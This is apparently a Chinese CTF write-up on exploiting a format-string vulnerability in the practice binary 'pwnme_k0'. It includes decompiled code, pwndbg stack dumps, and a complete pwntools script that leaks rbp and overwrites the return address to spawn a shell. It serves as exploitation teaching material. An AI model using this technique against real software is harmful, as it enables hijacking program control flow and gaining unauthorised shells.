原理
利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。
例子 - 三个白帽 - pwnme_k0 Checksec 1 2 3 4 5 6 7 8 $ checksec pwnme_k0 [*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/hijack_retaddr/pwnme_k0' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。
分析程序 func sub_400B07处:查看功能中发现了格式化字符串漏洞
1 2 3 4 5 6 int __fastcall sub_400B07 (int a1, int a2, int a3, int a4, int a5, int a6, char format, int a8, __int64 a9) { write(0 , "Welc0me to sangebaimao!\n" , 0x1Au ); printf (&format); return printf ((const char *)&a9 + 4 ); }
其输出的内容为 &a4 + 4。我们回溯一下,发现我们读入的 password 内容也是
1 v6 = read(0 , (char *)&a4 + 4 , 0x14u LL);
当然我们还可以发现 username 和 password 之间的距离为 20 个字节。
1 2 3 4 5 6 7 8 9 10 11 12 puts ("Input your username(max lenth:20): " ); fflush(stdout ); v8 = read(0 , &bufa, 0x14u LL);if ( v8 && v8 <= 0x14u ) { puts ("Input your password(max lenth:20): " ); fflush(stdout ); v6 = read(0 , (char *)&a4 + 4 , 0x14u LL); fflush(stdout ); *(_QWORD *)buf = bufa; *(_QWORD *)(buf + 8 ) = a3; *(_QWORD *)(buf + 16 ) = a4;
利用思路 我们最终的目的是希望可以获得系统的 shell,可以发现在给定的文件中,在0x00000000004008AA地址处有一个直接调用 system(‘bin/sh’) 的函数,那如果我们修改某个函数的返回地址为这个地址,那就相当于获得了 shell。
虽然存储返回地址的内存本身是动态变化的,但是其相对于 rbp 的地址并不会改变,所以我们可以使用相对地址来计算。利用思路如下:
确定偏移
获取函数的 rbp 与返回地址
根据相对偏移获取存储返回地址的地址
将执行 system 函数调用的地址写入到存储返回地址的地址。
确定偏移 首先,我们先来确定一下偏移。输入用户名 aaaaaaaa,密码随便输入,断点下在输出密码的那个 printf(&a4 + 4) 函数处:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdc48 —▸ 0x400b2d ◂— lea rax, [rbp + 0x24] 01:0008│ rbp 0x7fffffffdc50 —▸ 0x7fffffffdc90 —▸ 0x7fffffffdd40 ◂— 1 02:0010│+008 0x7fffffffdc58 —▸ 0x400d74 ◂— add rsp, 0x30 03:0018│ rdi 0x7fffffffdc60 ◂— 'aaaaaaaa\n' 04:0020│+018 0x7fffffffdc68 ◂— 0xa /* '\n' */ 05:0028│+020 0x7fffffffdc70 ◂— 0x7025702500000000 06:0030│+028 0x7fffffffdc78 ◂— '%p%p%p%p%p%p%p%oM\r@' 07:0038│+030 0x7fffffffdc80 ◂— '%p%p%p%oM\r@' ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x7ffff7c606f0 printf 1 0x400b2d None 2 0x400d74 None 3 0x400e98 None 4 0x7ffff7c29d90 __libc_start_call_main+128 5 0x7ffff7c29e40 __libc_start_main+128 6 0x4007d9 None ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> fmtarg 0x7fffffffdc60 The index of format argument : 9 (\"\%8$p \")
偏移为9 - 1 = 8。
修改地址 我们再仔细观察下断点处栈的信息: 可以看到栈上第二个位置存储的就是该函数的返回地址 (其实也就是调用 show account 函数时执行 push rip 所存储的值),在格式化字符串中的偏移为 7。
与此同时栈上,第一个元素存储的也就是上一个函数的 rbp。所以我们可以得到偏移 0x00007fffffffdb80 - 0x00007fffffffdb48 = 0x38。继而如果我们知道了 rbp 的数值,就知道了函数返回地址的地址。
0x0000000000400d74 与 0x00000000004008AA 只有低 2 字节不同,所以我们可以只修改 0x00007fffffffdb48 开始的 2 个字节。
1 2 3 4 5 6 7 8 9 10 .text:00000000004008A6 sub_4008A6 proc near .text:00000000004008A6 ; __unwind { .text:00000000004008A6 push rbp .text:00000000004008A7 mov rbp, rsp .text:00000000004008AA <- here mov edi, offset command ; "/bin/sh" .text:00000000004008AF call system .text:00000000004008B4 pop rdi .text:00000000004008B5 pop rsi .text:00000000004008B6 pop rdx .text:00000000004008B7 retn
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context.log_level="debug" context.arch="amd64" sh=process("./pwnme_k0" ) binary=ELF("pwnme_k0" ) sh.recv() sh.writeline(b"1" *8 ) sh.recv() sh.writeline(b"%6$p" ) sh.recv() sh.writeline(b"1" ) sh.recvuntil(b"0x" ) ret_addr = int (sh.recvline().strip(),16 ) - 0x38 success("ret_addr:" +hex (ret_addr)) sh.recv() sh.writeline(b"2" ) sh.recv() sh.sendline(p64(ret_addr)) sh.recv() sh.writeline(b"%2218d%8$hn" ) sh.recv() sh.writeline(b"1" ) sh.recv() sh.interactive()